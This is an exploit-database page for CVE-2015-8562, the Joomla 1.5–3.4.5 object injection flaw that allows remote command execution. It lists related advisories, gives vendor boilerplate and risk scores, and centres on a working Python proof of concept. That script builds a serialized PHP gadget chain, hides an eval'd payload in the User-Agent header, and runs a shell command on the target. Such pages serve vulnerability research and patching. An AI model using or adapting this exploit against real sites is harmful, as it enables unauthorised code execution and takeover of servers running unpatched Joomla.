Joomla! 1.5 < 3.4.5 - Object Injection Remote Command Execution
| Reporter | Title | Published | Views | Family All 34 |
|---|---|---|---|---|
| Joomla 1.5 - 3.4.5 - Object Injection RCE X-Forwarded-For Header Exploit | 18 Dec 201500:00 | – | zdt | |
| Joomla 1.5 - 3.4.5 - HTTP Header Unauthenticated Remote Code Execution Exploit | 19 Dec 201500:00 | – | zdt | |
| Exploit for Path Traversal in Codiad | 24 Nov 202016:49 | – | gitee | |
| Exploit for Path Traversal in Codiad | 6 Sep 202515:20 | – | gitee | |
| Exploit for Path Traversal in Codiad | 26 Sep 202021:18 | – | gitee | |
| joomla -- multiple vulnerabilities | 14 Dec 201500:00 | – | freebsd | |
| CVE-2015-8562 | 15 Dec 201500:00 | – | circl | |
| Arbitrary Code Execution Vulnerability in Joomla! | 18 Dec 201500:00 | – | cnvd | |
| Joomla Object Injection Remote Command Execution (CVE-2015-8562) | 15 Dec 201500:00 | – | checkpoint_advisories | |
| CVE-2015-8562 | 16 Dec 201521:00 | – | cve |
10
'''
Simple PoC for Joomla Object Injection.
Gary @ Sec-1 ltd
http://www.sec-1.com/
'''
import requests # easy_install requests
def get_url(url, user_agent):
headers = {
'User-Agent': user_agent
}
cookies = requests.get(url,headers=headers).cookies
for _ in range(3):
response = requests.get(url, headers=headers,cookies=cookies)
return response
def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
pl = generate_payload("system('touch /tmp/fx');")
print get_url("http://172.31.6.242/", pl)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Dec 2015 00:00Current
8High risk
Vulners AI Score8
CVSS 27.5
EPSS0.98283